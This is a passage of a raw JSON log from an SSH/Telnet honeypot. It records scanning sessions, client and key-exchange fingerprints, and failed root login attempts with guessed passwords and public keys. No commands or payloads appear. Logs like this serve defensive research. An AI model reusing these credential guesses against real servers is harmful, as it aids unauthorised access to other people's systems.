16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:15.731498Z","src_ip":"185.236.22.41","session":"cd5a33029cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.93.28.9","src_port":57186,"dst_ip":"10.17.0.5","dst_port":22,"session":"06d4268ed936","protocol":"ssh","message":"New connection: 41.93.28.9:57186 (10.17.0.5:22) [session: 06d4268ed936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:16.051669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:16.058021Z","src_ip":"41.93.28.9","session":"06d4268ed936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strike","message":"login attempt [root/strike] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:16.172373Z","src_ip":"185.236.22.41","session":"cd5a33029cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:17.285743Z","src_ip":"185.236.22.41","session":"cd5a33029cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:19.328780Z","src_ip":"41.93.28.9","session":"06d4268ed936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":55336,"dst_ip":"10.17.0.5","dst_port":22,"session":"1626e8d9b76a","protocol":"ssh","message":"New connection: 43.130.57.37:55336 (10.17.0.5:22) [session: 1626e8d9b76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:21.321314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:21.326285Z","src_ip":"43.130.57.37","session":"1626e8d9b76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:21.394486Z","src_ip":"43.130.57.37","session":"1626e8d9b76a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p4sswd","message":"login attempt [root/p4sswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:21.705354Z","src_ip":"43.130.57.37","session":"1626e8d9b76a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:22.776687Z","src_ip":"43.130.57.37","session":"1626e8d9b76a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"50p0rt3","message":"login attempt [root/50p0rt3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:23.358703Z","src_ip":"41.93.28.9","session":"06d4268ed936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:25.363321Z","src_ip":"41.93.28.9","session":"06d4268ed936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.68.103.106","src_port":56190,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e675ac77dba","protocol":"ssh","message":"New connection: 51.68.103.106:56190 (10.17.0.5:22) [session: 7e675ac77dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:25.841263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:25.846065Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:25.929790Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:51:f5:8f:04:d8:5b:26:bb:f9:10:a1:3c:2e:cb:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3A2NNciBgOR1txfpgO6zy034Xx0TesKXHEWOuZUGRRL1yTuTqCIsOCi0cLpeVTu/O6OsC4b1bJsekzUdNc61UyOKMiKuziQKR662ObRPR4vVp7jEL5UEDU9Xwv6JddJuJP6GjDXYC20bT0l5aVf4nF92+pdequSrysaB8Lkl9Ag2bEhIC99iJTpXeeigFTWuG7tona5zFCmmBMrp2CBcQq3KUP8lusLRyGWWKrs1RoWw98zZDWoTHOms7e2avoC+Xjzov9NS3XIhNIQdyYEooXcG3jqwrzvU1ZLxSQqS7H6kt85zCHhgijRifheGH81pzvfv2FFMBkIrEzQvSv1qL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:51:f5:8f:04:d8:5b:26:bb:f9:10:a1:3c:2e:cb:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.314400Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:51:f5:8f:04:d8:5b:26:bb:f9:10:a1:3c:2e:cb:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3A2NNciBgOR1txfpgO6zy034Xx0TesKXHEWOuZUGRRL1yTuTqCIsOCi0cLpeVTu/O6OsC4b1bJsekzUdNc61UyOKMiKuziQKR662ObRPR4vVp7jEL5UEDU9Xwv6JddJuJP6GjDXYC20bT0l5aVf4nF92+pdequSrysaB8Lkl9Ag2bEhIC99iJTpXeeigFTWuG7tona5zFCmmBMrp2CBcQq3KUP8lusLRyGWWKrs1RoWw98zZDWoTHOms7e2avoC+Xjzov9NS3XIhNIQdyYEooXcG3jqwrzvU1ZLxSQqS7H6kt85zCHhgijRifheGH81pzvfv2FFMBkIrEzQvSv1qL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.318802Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:05:25:61:9f:3b:ef:f9:6a:51:91:59:ae:e1:b1:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBphteG3Y9E3bA9HDDcoyGKVdN/3b4TXE6lDgmsQmIlmt9Fz9cWpTlz2L5PD5AlhDXgGe5zClKr8DGYaAHb4AdUPVqezEMFxbvmJw8sFFrYBe6J2mPvfTA6R3qSqWyDJwpOsd8wfpDfZc/zuJrnba19hLHdllyKdVghL5d0kdYrSKUBdMbnqqZiBepHLpYr8MraDtcvCaQmHWUDLGM+CcNEldA3glaLrVegEyu1VJVeo/Afw3NYnUYuRMI/punXdwkekPV+KkI6nn7GdskFrTZsWpywcbVDD5WAh7Sn7auz6b1ya7ntQsVTY/Ake6bFf/rGoVkA6g4BrK+zNIODBCV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:05:25:61:9f:3b:ef:f9:6a:51:91:59:ae:e1:b1:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.401317Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:05:25:61:9f:3b:ef:f9:6a:51:91:59:ae:e1:b1:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBphteG3Y9E3bA9HDDcoyGKVdN/3b4TXE6lDgmsQmIlmt9Fz9cWpTlz2L5PD5AlhDXgGe5zClKr8DGYaAHb4AdUPVqezEMFxbvmJw8sFFrYBe6J2mPvfTA6R3qSqWyDJwpOsd8wfpDfZc/zuJrnba19hLHdllyKdVghL5d0kdYrSKUBdMbnqqZiBepHLpYr8MraDtcvCaQmHWUDLGM+CcNEldA3glaLrVegEyu1VJVeo/Afw3NYnUYuRMI/punXdwkekPV+KkI6nn7GdskFrTZsWpywcbVDD5WAh7Sn7auz6b1ya7ntQsVTY/Ake6bFf/rGoVkA6g4BrK+zNIODBCV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.405747Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:4f:44:3c:0b:3d:95:c5:9e:92:f6:72:9c:30:ea:5a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB0hfX5mr64a0lxHBHSPOq/PM8p/pDbZBqE/wPbXdYhX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a9:4f:44:3c:0b:3d:95:c5:9e:92:f6:72:9c:30:ea:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.487960Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:4f:44:3c:0b:3d:95:c5:9e:92:f6:72:9c:30:ea:5a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB0hfX5mr64a0lxHBHSPOq/PM8p/pDbZBqE/wPbXdYhX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.492967Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:2d:47:80:69:75:68:b2:a7:bb:cc:91:59:d9:1e:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMos+02e5FTiCgzY/WKMXcjzLQa+Ln+rTLR2nIY34n2pNVONATZq466bWDr7E0qILJR91vuzKImvPFowWuXSNCqfo6pV1WuVy4Qw3V6Gm2E92hTuCBsFupV2C9n7cs0FUEHmXetkm+fwTbUujk4KI6nrAadZSzJerDa3gmamiip0AUNslyV7cWamVodhPRBVY+jI8VSQoXs4FYo0Iol7wYsdUAJOF7hwgx+DfNKLvJzMF46SLtLadp8EJm76pof9YbfiHr4f+CPDaUJIhVZtq3w6WI/uONkEBnJpOcMw2RiBxQXurTAkhcaRDtpwInt/5mvJjW3Fzjx96ZFi7eySAd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:2d:47:80:69:75:68:b2:a7:bb:cc:91:59:d9:1e:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.575976Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:2d:47:80:69:75:68:b2:a7:bb:cc:91:59:d9:1e:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMos+02e5FTiCgzY/WKMXcjzLQa+Ln+rTLR2nIY34n2pNVONATZq466bWDr7E0qILJR91vuzKImvPFowWuXSNCqfo6pV1WuVy4Qw3V6Gm2E92hTuCBsFupV2C9n7cs0FUEHmXetkm+fwTbUujk4KI6nrAadZSzJerDa3gmamiip0AUNslyV7cWamVodhPRBVY+jI8VSQoXs4FYo0Iol7wYsdUAJOF7hwgx+DfNKLvJzMF46SLtLadp8EJm76pof9YbfiHr4f+CPDaUJIhVZtq3w6WI/uONkEBnJpOcMw2RiBxQXurTAkhcaRDtpwInt/5mvJjW3Fzjx96ZFi7eySAd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.580277Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:cf:73:68:7c:5b:df:c0:cb:2a:fe:d6:49:f5:36:9f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALg+NygsO35z5cGvHnKnZpot9aLhK+/TUhz5AAD6/b9YC3GLaxZlVYqrs3iOSBxs4Bf631KlcCm7ltGQ2V51TFwUcnxI/dPaeruBQLDjC0zyG+Ue1iBwCNX8FYOnK/Wo5oZxtIKPgx8prHHQHviMKZI27maiZbGK3zccbIy+OR+DAAAAFQDtIe2n/O4E2bp9Yu2OAllY4E0f4wAAAIA+iXxyzvhhKuk8g7TENBY2WZi5SY9f0744rRxz04qHKe0IrLPkJ4cwlwo6Q5dRDlg5zoRQHQSxWTGuL5tsrr6jP2+SSiUcOONOVvV78ZobO1O4q/NW7NexDaVwhM9QvpEIAKX2G6YgX903pJYReFZ5pkRYT4oSdT8hZLMt7wUdWgAAAIASDu2w/DiFWCEItpvEkBIMXzQW6jqf99dEOQk6xcXzORC2uwYqjm/tlpTRH2GVP3bVQjXl1QDkf/DhJefCciv42KsMi1BLQJ9K74vurBy3i8DlbTH6rEheYVSaP5ETYk/nbfdFE9jY6Al1X3VxTC4rW38059rj4BOsq+EzIiqd3g==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1b:cf:73:68:7c:5b:df:c0:cb:2a:fe:d6:49:f5:36:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.665277Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:cf:73:68:7c:5b:df:c0:cb:2a:fe:d6:49:f5:36:9f","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALg+NygsO35z5cGvHnKnZpot9aLhK+/TUhz5AAD6/b9YC3GLaxZlVYqrs3iOSBxs4Bf631KlcCm7ltGQ2V51TFwUcnxI/dPaeruBQLDjC0zyG+Ue1iBwCNX8FYOnK/Wo5oZxtIKPgx8prHHQHviMKZI27maiZbGK3zccbIy+OR+DAAAAFQDtIe2n/O4E2bp9Yu2OAllY4E0f4wAAAIA+iXxyzvhhKuk8g7TENBY2WZi5SY9f0744rRxz04qHKe0IrLPkJ4cwlwo6Q5dRDlg5zoRQHQSxWTGuL5tsrr6jP2+SSiUcOONOVvV78ZobO1O4q/NW7NexDaVwhM9QvpEIAKX2G6YgX903pJYReFZ5pkRYT4oSdT8hZLMt7wUdWgAAAIASDu2w/DiFWCEItpvEkBIMXzQW6jqf99dEOQk6xcXzORC2uwYqjm/tlpTRH2GVP3bVQjXl1QDkf/DhJefCciv42KsMi1BLQJ9K74vurBy3i8DlbTH6rEheYVSaP5ETYk/nbfdFE9jY6Al1X3VxTC4rW38059rj4BOsq+EzIiqd3g==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.669493Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:26.751940Z","src_ip":"51.68.103.106","session":"7e675ac77dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33988,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae84d745d2b4","protocol":"telnet","message":"New connection: 192.119.13.58:33988 (10.17.0.5:23) [session: ae84d745d2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:34.483390Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":52500,"dst_ip":"159.203.135.109","dst_port":22,"session":"fca1e51a856a","protocol":"ssh","message":"New connection: 109.172.54.111:52500 (159.203.135.109:22) [session: fca1e51a856a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:45.904912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:45.910225Z","src_ip":"109.172.54.111","session":"fca1e51a856a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:46.009621Z","src_ip":"109.172.54.111","session":"fca1e51a856a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:46.344330Z","src_ip":"109.172.54.111","session":"fca1e51a856a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":46468,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e64abb0469","protocol":"telnet","message":"New connection: 186.195.16.41:46468 (159.203.135.109:23) [session: e7e64abb0469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:46.486388Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:47:47.447134Z","src_ip":"109.172.54.111","session":"fca1e51a856a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":13646,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5313fc9c31f","protocol":"ssh","message":"New connection: 141.11.21.145:13646 (10.17.0.5:22) [session: b5313fc9c31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:00.543710Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:00.628294Z","src_ip":"141.11.21.145","session":"b5313fc9c31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":13648,"dst_ip":"10.17.0.5","dst_port":22,"session":"212342e55536","protocol":"ssh","message":"New connection: 141.11.21.145:13648 (10.17.0.5:22) [session: 212342e55536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:00.711085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:48:00.715659Z","src_ip":"141.11.21.145","session":"212342e55536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-